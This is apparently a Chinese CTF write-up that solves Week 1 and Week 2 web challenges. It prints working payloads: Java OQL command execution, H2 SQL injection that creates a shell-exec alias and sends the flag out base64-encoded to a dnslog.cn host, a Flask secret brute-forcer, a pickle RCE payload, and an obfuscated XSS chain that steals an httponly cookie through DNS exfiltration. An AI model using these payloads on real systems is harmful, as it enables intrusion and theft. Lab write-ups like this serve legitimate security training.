WEEK 1
2048*16
直接把前端全部扒下来,自己搭建一个本地的环境,我这里用vscode搭建了一个。
然后看下js代码,这里混淆了一堆,实在是难看,就找关键的地方,题目所说的32768
找到了上面这个算式,他的结果就算32768,所以我们只需要将这里修改:
然后本地起服务,随便玩几下,即可得到flag:
Bypass it
通过抓包注册路由可知,前端有代码干扰我们注册:
那么这里我们直接把浏览器的javascript功能禁用,就可以正常注册登录:
写完题目后记得把功能开启!
jhat
oql查询处可以rce,但是根据hint不出网,所以需要回显到页面上,
payload:
new java.util.Scanner(new java.lang.ProcessBuilder("cat","flag").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
Select Courses
用request库或者bp一直发选课的数据包即可,emmmm莫名其妙的题目.....(
ezHTTP
把响应头那边的字符串base64解码即可:
WEEK2
search4member
h2 sql注入
看源码中可以看到注入点:
这里可以拼接造成注入:
哈%' union select 1,2,3 //
那么也就可以执行sql语句了,直接来个rce:
//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('id');
CALL SHELLEXEC('whoami');
依次输入以下payload:
a%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";%20 }$$%3B+%2F%2F
a%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgdGFjIC9mKnxiYXNlNjRgLnowbWN1eC5kbnNsb2cuY24=}|{base64,-d}|{bash,-i}')%3B+%2F%2F
成功带入flag
myflask
以当前时间戳作为密钥,那么直接爆破:
# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in range(199000,200339):
#print(i)
res = FSCM.decode('eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcDOEg.XMIkIdvcD9vv8ZHRbxKKzzp68OQ', str(i))
print(res)
if 'guest' in str(res):
print(str(res))
print(i)
#print(key)
exit()
接着爆破出密钥后伪造session,访问flag路由打pickle反序列化即可:
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__(\"os\").popen('cat /flag').read()",))
a=A()
b=pickle.dumps(a)
print(base64.b64encode(b))
Select More Courses
直接爆破出密码:qwert123
登录上去以后去扩学分处不断用bp发包,然后去选课即可:
What the cow say?
拿个反引号一包,就可以执行命令了(不好评价......
梅开二度
利用go的ssti来绕过html编码限制,进行xss(魔鬼吧。。。。。
开局给出了源码:
package main
import (
"context"
"log"
"net/url"
"os"
"regexp"
"sync"
"text/template"
"time"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"golang.org/x/net/html"
)
var re = regexp.MustCompile(`script|file|on`)
var lock sync.Mutex
func main() {
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)...)
defer cancel()
r := gin.Default()
r.GET("/", func(c *gin.Context) {
tmplStr := c.Query("tmpl")
if tmplStr == "" {
tmplStr = defaultTmpl
} else {
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr)
}
tmpl, err := template.New("resp").Parse(tmplStr)
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil {
c.String(500, "execute template error: %v", err)
}
})
r.GET("/bot", func(c *gin.Context) {
rawURL := c.Query("url")
u, err := url.Parse(rawURL)
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" {
c.String(403, "host is invalid")
return
}
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
)
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()),
chromedp.Sleep(time.Second*10),
); err != nil {
log.Println(err)
}
}()
c.String(200, "bot will visit it.")
})
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" {
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag")
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
c.Status(200)
})
r.Run(":8080")
}
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
<title>YOU ARE</title>
</head>
<body>
<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
<div>flag在bot手上,想办法偷过来</div>
</body>
`
一看就是要xss,那么我们的思路是通过xss让靶机的本地请求/flag路由,然后将cookie发送到我们的靶机上。
那么要想实现上述思路,就算需要让靶机的本地进行xss,那么如何让靶机本机进行xss呢,我们看到/bot路由可以让我们请求靶机的本地,而/路由下可以让我们传参tmpl来自定义页面。
假如没有限制,我们可以构造类似:
/bot?url=http://127.0.0.1:8080/?tmpl=<script>alert('gxngxngxn')</script>
这样就可以实现靶机的本地xss,但是这里会对传入的值进行html实体编码,此外还继续正则匹配和长度限制,这也就断绝了我们直接传xss代码的可能,于是想到利用go的模板渲染来进行绕过。
这里也是经过了一些查找,找到了{{index .Request.URL.Query.gxngxngxn 0}},利用此模板,可以获取我们传入的参数gxngxngxn的值到页面上,也就达到了任意可控的目的
xss成功,而且不受任何限制,完美!
那么接下来我们就是要带cookie了,我们可以看到源码中设置cookie的那一段:
c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
这里你本地测试后会发现,这里开启了httponly,也就不能通过寻常的js代码带出,那么这里怎么绕呢?答案还是go的ssti,利用{{.Request.Header}}这个模板,可以打印出我们头部所有信息,其中也包括我们的cookie
ok,两大问题限制都解决了,那么接下俩带出数据就行,由于靶机不出网,所以我们用dns来接收 (大坑!!!)
这边直接给出exp:
location.href = 'http://127.0.0.1:8080/flag';
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
sendSecondRequest()
}
};
function sendSecondRequest() {
xmlhttp.open("GET", "/?tmpl={{print .Request.Header.Cookie}}", false);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
var flag1=btoa(xmlhttp.responseText);
//获取响应的数据,并进行base64加密
var flag1Hex = "";
for (var i = 0; i < flag1.length; i++) {
flag1Hex += flag1.charCodeAt(i).toString(16);
}
//将响应的数据转化为十六进制,由于在线dnslog平台对字符数量有限制,所以我们通过截取来分段输出
location.href = 'http://'+ flag1Hex.substring(148,200) +'.mzp9rx.dnslog.cn'
}
};
xmlhttp.send('');
}
xmlhttp.open('GET', '/flag', false);
xmlhttp.send('');
将上述代码进行unicode编码后,构造如下payload:
bot?url=http://127.0.0.1:8080/?tmpl=%7B%7Bindex%20.Request.URL.Query.a%200%7D%7D%26a%3D%3CScript%3Eeval(%22%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0031%5Cu0032%5Cu0037%5Cu002e%5Cu0030%5Cu002e%5Cu0030%5Cu002e%5Cu0031%5Cu003a%5Cu0038%5Cu0030%5Cu0038%5Cu0030%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu0020%5Cu003d%5Cu0020%5Cu006e%5Cu0065%5Cu0077%5Cu0020%5Cu0058%5Cu004d%5Cu004c%5Cu0048%5Cu0074%5Cu0074%5Cu0070%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0077%5Cu0069%5Cu0074%5Cu0068%5Cu0043%5Cu0072%5Cu0065%5Cu0064%5Cu0065%5Cu006e%5Cu0074%5Cu0069%5Cu0061%5Cu006c%5Cu0073%5Cu0020%5Cu003d%5Cu0020%5Cu0074%5Cu0072%5Cu0075%5Cu0065%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu007d%5Cu003b%5Cu000a%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0022%5Cu0047%5Cu0045%5Cu0054%5Cu0022%5Cu002c%5Cu0020%5Cu0022%5Cu002f%5Cu003f%5Cu0074%5Cu006d%5Cu0070%5Cu006c%5Cu003d%5Cu007b%5Cu007b%5Cu0070%5Cu0072%5Cu0069%5Cu006e%5Cu0074%5Cu0020%5Cu002e%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu002e%5Cu0048%5Cu0065%5Cu0061%5Cu0064%5Cu0065%5Cu0072%5Cu002e%5Cu0043%5Cu006f%5Cu006f%5Cu006b%5Cu0069%5Cu0065%5Cu007d%5Cu007d%5Cu0022%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu003d%5Cu0062%5Cu0074%5Cu006f%5Cu0061%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0073%5Cu0070%5Cu006f%5Cu006e%5Cu0073%5Cu0065%5Cu0054%5Cu0065%5Cu0078%5Cu0074%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu003d%5Cu0020%5Cu0022%5Cu0022%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006f%5Cu0072%5Cu0020%5Cu0028%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0069%5Cu0020%5Cu003d%5Cu0020%5Cu0030%5Cu003b%5Cu0020%5Cu0069%5Cu0020%5Cu003c%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu006c%5Cu0065%5Cu006e%5Cu0067%5Cu0074%5Cu0068%5Cu003b%5Cu0020%5Cu0069%5Cu002b%5Cu002b%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu002b%5Cu003d%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu0063%5Cu0068%5Cu0061%5Cu0072%5Cu0043%5Cu006f%5Cu0064%5Cu0065%5Cu0041%5Cu0074%5Cu0028%5Cu0069%5Cu0029%5Cu002e%5Cu0074%5Cu006f%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0036%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0027%5Cu002b%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu002e%5Cu0073%5Cu0075%5Cu0062%5Cu0073%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0034%5Cu0038%5Cu002c%5Cu0032%5Cu0030%5Cu0030%5Cu0029%5Cu0020%5Cu002b%5Cu0027%5Cu002e%5Cu006d%5Cu007a%5Cu0070%5Cu0039%5Cu0072%5Cu0078%5Cu002e%5Cu0064%5Cu006e%5Cu0073%5Cu006c%5Cu006f%5Cu0067%5Cu002e%5Cu0063%5Cu006e%5Cu0027%5Cu0020%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu007d%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%5Cu000a%5Cu007d%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0027%5Cu0047%5Cu0045%5Cu0054%5Cu0027%5Cu002c%5Cu0020%5Cu0027%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%22)%253b%3C%2FScript%3E
注意上述url编码中有很多小细节需要注意,稍微错误就会导致失效,所以建议先本地测试,方便看清楚我们传的值究竟是什么
(ps:md,在构造上述payload的过程中几乎把所有坑都踩了一遍,无语了)
成功接收到十六进制数据,转化为字符串后进行base64解密即可: